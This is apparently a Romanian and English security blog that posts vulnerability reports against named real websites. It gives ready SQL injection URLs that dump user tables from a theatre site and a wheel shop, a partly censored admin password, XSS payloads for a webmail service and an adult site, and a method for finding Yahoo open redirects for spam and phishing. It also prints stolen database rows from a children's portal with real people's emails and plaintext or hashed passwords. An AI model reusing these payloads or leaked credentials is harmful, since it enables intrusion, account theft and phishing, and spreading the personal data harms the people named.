Stiti care sunt cele mai multe site-uri raportate prin mail? Cele ce apartin de http://*.politiaromana.ro. Stiti cate subdomenii ale politiaromana.ro sunt vulnerabile? Toate. Adica virgula chiar toate.

Siguranta si incredere oameni buni.

Nu vom face un articol in care sa dezvoltam discutia despre aceasta problema (pentru ca vor exista cu siguranta si persoane rau intentionate care vor vrea sa le faca ravagii “iubitilor” oameni ai legii) dar le multumim celor care ne-au atentionat.

Raportat de Pax Nwo:

http://www.tnb.ro/index.php?page=spectacol&idspec=118 and 1=0 union select all username,password,3,4,5 from cms_users–

http://www.tnb.ro/admin/login.php

user : admin
pass: g[cenzurat]3

Multumim Pax

Vulnerabilitate raportata de daemien:

Site URL: http://www.shop-jante.ro

DB Name:cardesign_new

Versiune database: 5.0.22

————–

La prima vedere pare un site banal, un simplu shop de jante aliaj [ce-i drept numai marci high-end]. Pacat de numarul mare de clienti [persoane fizice cat si juridice] care nu stiu la ce riscuri se expun atunci cand se inregistreaza pe acest site, evident slab securizat!

Se pot extrage cu usurinta informatii din baza de date precum: username, parola, email, nume, prenume, adresa, serie BI, CNP, telefon, cont, banca etc…

Pretty fucked up.. huh?! ))))))))

————–

Tabele:

http://www.shop-jante.ro/search.php?id=2+and+1=0+union+select+1,2,table_name,4%20from%20information_schema.tables–

Coloane:

http://www.shop-jante.ro/search.php?id=2+and+1=0+union+select+1,2,column_name,4%20from%20information_schema.columns–

Multumim daemien

You wanna see how Yahoo! php codes looks like? Now you can:

1.

http://209.85.129.132/search?q=cache:z7ik8Z5ioeYJ:shopping.yahoo.com/shop+inurl:shop+site:yahoo.com&hl=ro&ct=clnk&cd=10&gl=ro

Mirror - http://pastebin.com/fe7acac0

2.

http://au.lifestyle.yahoo.com/who/news/20102008/madonna-to-raise-kids-in-new-yorkhtml

Mirror - http://pastebin.com/f6ffa4275

3.

http://cn.yahoo.com/preferences

Mirror - http://pastebin.ca/1318131

4.

http://uk.videogames.games.yahoo.com/95/news/no-rest-for-the-wicked–least-not-for-the-wicked-schedulers-lining-products-up-for-the-wii-virtual-console-this-week–don-t-they-ever-get-a-d

Mirror - http://pastebin.com/f5399d409

Enjoy

Special thanks goes to google for indexing so good

A nu se pune functia “more” dupa un text scris in “italic”. Sunt sanse mari sa dispara sidebar. Vedeti si voi logica la fel ca si mine, nu-i asa?

O lege nescrisa a webmail-ului este sa nu accepti javascript in mesaje pentru a proteja conturile userilor. In categoria celor care nu stiau acest lucru se afla si cei de la luxmail.ro.

In primele doua minute de teste am crezut ca este un serviciu robust cu filtre anti xss destul de bune. Nu a trebuit insa sa ma chinui prea mult pentru ca am vazut urmatoarea optiune in casuta de compunere a mesajului:

Am crezut ca cineva a avut chef de glume cand a introdus acea optiune dar…

Iar rezultatul este urmatorul:

Acum domnilor de la luxmail.ro ce mai pot sa spun. Good job. Stiti ce pot pati userii dumneavoastra? Se pot pomeni ca cineva le fura cookies si le acceseaza mailul. Sau un mic xss worm il obliga pe user sa trimita un anumit mesaj catre toti cei din lista de contact, lucru ce duce la propagarea problemei voastre. Cand asigurati servicii de mail chiar trebuie sa aveti securitatea foarte bine pusa la punct. Datele confidentiale ale oamenilor sunt in mainile voastre si nu trebuie sa aiba nimeni acces la ele.

Concluzia? Nu folositi acest serviciu. Puteti avea surprize extrem de neplacute.

Sintaxa folosita in demonstratie este <a href=javascript:alert(document.cookie)>Text oarecare</a>. Puteti folosi editorul html din serviciul lor de mail pentru a dezvolta demonstratia.

Acest articol este scris atat in limba romana cat si in engleza.

Rude.com is an online adult community with a large number of members. Its pretty heavy and stuffed with alot of features in their desire to unite several adult services into one large site. Such features as porn videos, amateur videos, amateur live cams, private cams, social network, xxx games etc., seem to manage to attract some attention to it.

Yet, visiting rude.com can be a hazard for you. Why?

You can insert javascript in any comments box of each profile. I dont mean inserting the script in your own profile but the possibility to do this with ALL the profiles on the website.

The method is extremely simple. With your comment, add <img src=”" onerror=”evil javascript code”>, which gets executed everytime someone sees that profile. Example: <img src=”" onerror=”alert(1)”>.

This vulnerability is extremely dangerous for rude.com users especailly when we know there are payed services on the website. Wouldn’t want to be one of their paying members.

Suppose you are a paying client and want to see a live xxx show. You buy some chips (credit) and while you do that, your session cookie gets stolen. Next thing you know, your credit is being used by someone else. And here you are faced with two options:

1. You dont notice that and you dont take any counter measure.

2. You notice and make a chargeback and the model and the website loses their money. Your credit score is affected, the website gets a bad reputation and the model is left with no money.

Of course this kind of vulnerability can be used for phishing, generate traffic on other websites or to hide some XSS attacks targeting other websites (yahoo, gmail, ebay, paypal etc.).

The possiblity to insert an XSS worm is extremely simple and the owners of this website know about this isue for over a year and still, nobody seems to bother.

Rude.com este o comunitate adult cu un numar mare de membri. Este un site stufos ce si-a dorit sa uneasca mai multe servicii gen porn videos, amateur videos, amateur live cams, private cams, social network, xxx games etc., complexitatea acestuia facandu-l destul de cunoscut in US.

Si totusi este un adevarat pericol sa vizitezi acest site. De ce?

Read the rest of this entry»

Pentru viitoarele articole mi-ar prinde bine sa stiu ce servicii de mail in afara de GMail, Yahoo! mail si Hotmail, mai folosesc romanii, asa ca va rog sa lasati un comentariu cu serviciile webmail pe care le mai folositi. 

Excludeti din start cele 3 site-uri de mai sus si mailurile firmelor unde sunteti angajati. Se vor lua in calcul doar serviciile de tip free webmail.

Multumesc.

Acest articol este publicat atat in romana cat si in engleza.

Yahoo redirects are and have been continuously used in spam tehniques, for phishing and black SEO. Even though Yahoo is struggling to solve this problem, they are easy to find. When I say ease i mean seconds not minutes or hours

The whole trick is to know how a patched link looks like.

Its not hard at all. All you need is:

Firefox

Link Gopher add-on

A search engine.

How does a link that can be used as for a redirect looks like?

http://us.ard.yahoo.com/SIG=15temu9ra/M=289534.6253107.7244481.6080815/D=classreal/
S=750052198:FOOT/Y=YAHOO/EXP=1232849833/L=BmyXB86.ODX4VzI3SXtvrR9kVmjCm0l7r4kACp1e/
B=NoaQBNj8a.0-/J=1232842633729605/K=pIWiCLQq81S96lmhwDqmiw–
/A=2650127/R=2/SIG=11lp7krrc/*http://docs.yahoo.com/info/copyright/copyright.html

How does a link that can NOT be used as for a redirect to a site outside *.yahoo.com look like?

http://rds.yahoo.com/_ylt=AkWscG8XXla3AoABf80g_WeHHwx.;_ylv=0/
SIG=11idii63e/EXP=1232929280/**http%3A//hk.knowledge.yahoo.com/

How can we tell which link can be used? Notice this part of the link (from the first example):

SIG=11lp7krrc/*http://docs.yahoo.com/info/copyright/copyright.html After /* there follows the unaltered link to a diffrent domain.

The second link is a bit diffrent.

1232929280/**http%3A//hk.knowledge.yahoo.com/

Don’t mind the number of “stars”. This is what tells us that this redirect is useless: http%3A//.

All links from redirect that start with http%3A// cannot be used for sites outside yahoo.com.

I can bet that there wont be more then a week from now (the moment of posting the article) and this bug will be fixed cause we noticed a sudden love from Yahoo staff who is kind enough to pay us visits almost every day

Versiunea in limba romana:

Read the rest of this entry»

“Dedicat copiilor, ofera conturi de e-mail gratuite, informatii despre examenele de capacitate si admitere, concursuri, programul TV, referate, basme,etc” …deci un alt site cu trafic mare, prezent in top 10 (cu peste 1 milion de vizite) este vulnerabil la blind sql injection. De data asta aveam de-a face cu o baza de date PostgreSQL, mult mai greu de extras date, dar cum o sa vedeti mai jos, nu imposibil.

Prima data sa vedem tabelul sys_user

+—————————-+—————+———-+————–+
| email | name | password | username |
+—————————-+—————+———-+————–+
| adresa de mail | Administrator | 123456 | admin |
| sorin.spanu@activesoft.ro | Sorin Spanu | 123456 | sorin |
| sorin.henrik@activesoft.ro | Sorin Henrik | 123456 | sorin.henrik |
+—————————-+—————+———-+————–+

Din tablelul denumit utilizator, care are peste 200.000 de utilizatori inregistrati am extras 10 randuri. Din nou, dezamagire … parolele utilizatorilor sunt salvate,stocate in text clar.

+———————————+—————-+————-+
| email | nick | parola |
+———————————+—————-+————-+
| ghisamarius84@yahoo.com | ghisa | bobita |
| just_obsesion@yahoo.com | babydoll19 | leliamirela |
| gabriela_ionescu_2005@yahoo.com | GABRI | DAEW |
| patronuira@yahoo.com | 170279 | alex |
| antidot_s3f@yahoo.com | Silviu_bastanu | termopan |
| racautanu_anamaria@yahoo.com | robertik | robertik |
| a3x_14@yahoo.com | Parazitual3cs | 140493 |
| dany_fellow_2000@yahoo.com | lupudaniel | zenovia |
| cornelia_lupa@yahoo.com | cornelia_lupa | toyota |
| alina_vlad852004@yahoo.com | pestisorulroz | 30041999 |
+——————————–+—————-+————-+

Din tablelul chat_users am extras primii 5 useri. Macar parolele lor nu mai sunt salvate in text clar.

+—————+———————————-+
| nick | password |
+—————+———————————-+
| scumpy_k_a4 | 6c48441b0d58474e829857663a937488 |
| BUG_MAFIA_16 | b913a1407380f9486e46d8b9ca5a2d40 |
| FrumusikaNO1 | dc599a9972fde3045dab59dbd1ae170b |
| printeza_anne | 894ad006486ed309cb02edee7d0a4647 |
| thrfhsfer7_t | a87ff679a2f3e71d9181a67b7542122c |
+—————+———————————-+